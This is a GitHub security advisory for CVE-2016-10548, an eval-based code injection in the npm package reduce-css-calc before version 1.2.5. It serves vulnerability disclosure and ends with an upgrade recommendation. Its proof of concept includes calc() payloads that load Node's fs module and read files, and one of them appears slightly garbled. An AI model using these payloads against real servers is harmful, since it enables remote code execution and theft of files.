GitHub Advisoryadvisory · npm
GHSA-4662-j96g-mv46 Arbitrary Code Injection in reduce-css-calc
CRITICAL
Official page ↗
- Aliases
- CVE-2016-10548
- Ecosystem
- npm
- Packages
- reduce-css-calc
- Severity
- Critical
- Weaknesses
- CWE-94
- Reviewed
- 2020-06-16
Affected packages
• npm reduce-css-calc: < 1.2.5 → fixed in 1.2.5
Description
Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
Proof of Concept
```
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs'readFileSync'))`));
```
Recommendation
Update to version 1.2.5 or later.
Related
Alias · CVE (1)
- CVE-2016-10548 Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness